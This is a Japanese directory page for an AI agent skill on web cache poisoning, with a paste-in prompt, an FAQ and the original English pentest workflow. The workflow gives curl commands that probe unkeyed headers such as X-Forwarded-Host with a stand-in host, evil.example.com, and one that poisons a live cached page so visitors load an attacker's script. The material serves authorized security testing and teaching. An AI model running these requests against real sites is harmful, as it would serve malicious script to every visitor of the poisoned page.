本文へスキップ
Skillpedia
エージェント35k · #8335

performing-web-cache-poisoning-attack

できること

このツールは、ウェブサイトの「記憶」(キャッシュ)の仕組みをテストするのに役立ちます。許可を得たセキュリティテストの中で、この記憶を操作し、ウェブサイトが一時的に悪意のあるコンテンツを他のユーザーに表示してしまうかを確認できます。

使う場面

  • ✓CloudflareやVarnishなどのキャッシュシステムを使っているウェブサイトで、許可を得たセキュリティテストを行うとき。
  • ✓ウェブサイトがすべての人に誤った情報を表示するようだまされるかを確認するとき。
  • ✓ウェブサイトに送った追加の情報が、その「記憶」に保存される内容に影響するかを評価するとき。

スキルのリンク

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-poisoning-attack/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-poisoning-attack/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“「ウェブサイトが、通常のリンクの代わりに悪意のあるリンクを表示するようだまされるかテストして。」”

毎週5つの新しいスキル。1分で読めます。

仕組み

このツールは、ウェブサイトに特別なリクエストを送ります。本来はウェブサイトの「記憶」に保存されるべきでない追加情報(ヘッダー)が、そこに含まれてしまうかを確認します。含まれていれば、悪意のあるサイトへのリンクを保存させられるかもしれません。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

Performing Web Cache Poisoning Attack

When to Use

  • During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)
  • When assessing web applications for cache-based vulnerabilities that could affect all users
  • For testing whether unkeyed HTTP headers are reflected in cached responses
  • When evaluating cache key behavior and cache deception vulnerabilities
  • During security assessments of applications with aggressive caching policies

Prerequisites

  • Authorization: Written penetration testing agreement explicitly covering cache poisoning testing
  • Burp Suite Professional: With Param Miner extension for automated unkeyed header discovery
  • curl: For manual cache testing with precise header control
  • Target knowledge: Understanding of the caching layer (CDN provider, cache headers)
  • Cache buster: Unique query parameter to isolate test requests from other users
  • Caution: Cache poisoning affects all users; test with cache-busting parameters first

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Identify the Caching Layer and Behavior

Determine what caching infrastructure is in use and how the cache key is constructed.

# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
  "(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"

# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)

# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string

# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active

# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache key

Step 2: Discover Unkeyed Inputs with Param Miner

Use Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.

# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output

# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"

# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?$CB" | grep "evil.example.com"

# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
  "https://target.example.com/?$CB" | grep "nothttps"

# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
  "https://target.example.com/?$CB"

# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
  "https://target.example.com/?$CB" | grep "http://"

Step 3: Exploit Unkeyed Header for Cache Poisoning

Craft requests that poison cached responses with malicious content.

# Scenario: X-Forwarded-Host reflected in resource URLs
# Normal response includes: <script src="https://target.example.com/app.js">
# Poisoned: <script src="https://evil.example.com/app.js">

# Step 1: Confirm reflection with cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?cb=unique123" | \
  grep "evil.example.com"

# Step 2: Poison the actual cached page (WITHOUT cache buster)
# WARNING: This affects all users - only do with explicit authorization
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/"

# Step 3: Verify cache is poisoned
curl -s "https://target.example.com/" | grep "evil.example.com"

…
よくある質問

ウェブサイトの「キャッシュ」とは何ですか?

ウェブサイトの「すばやく取り出せる記憶」のようなものです。ページのコピーを保存しておくことで、同じページを再び訪れたときに速く表示されます。このツールは、その「記憶」がだまされるかどうかをテストします。

「unkeyed headers」とは何ですか?

リクエストと一緒にウェブサイトへ送られる追加の情報のことです。通常、キャッシュはコピーを保存する際に主要なアドレスだけを考慮します。unkeyed headersは、キャッシュが考慮しない追加の詳細ですが、ウェブサイトがそれを使って応答を変えてしまうことがあります。

このツールは私のウェブサイトに害を与えることがありますか?

はい。許可なく、または知らないうちに使うと害を与えることがあります。キャッシュポイズニングによって、すべての訪問者が悪意のあるコンテンツを見てしまうおそれがあります。そのため、明示的な許可を得ることと、テスト用のパラメータを使って影響を切り離すことが重要です。

詳細

作者による元の説明

Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

人気

GitHubのスター
35k
ランキング
#8335
ライセンス
Apache-2.0
更新日
2026/8/31

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル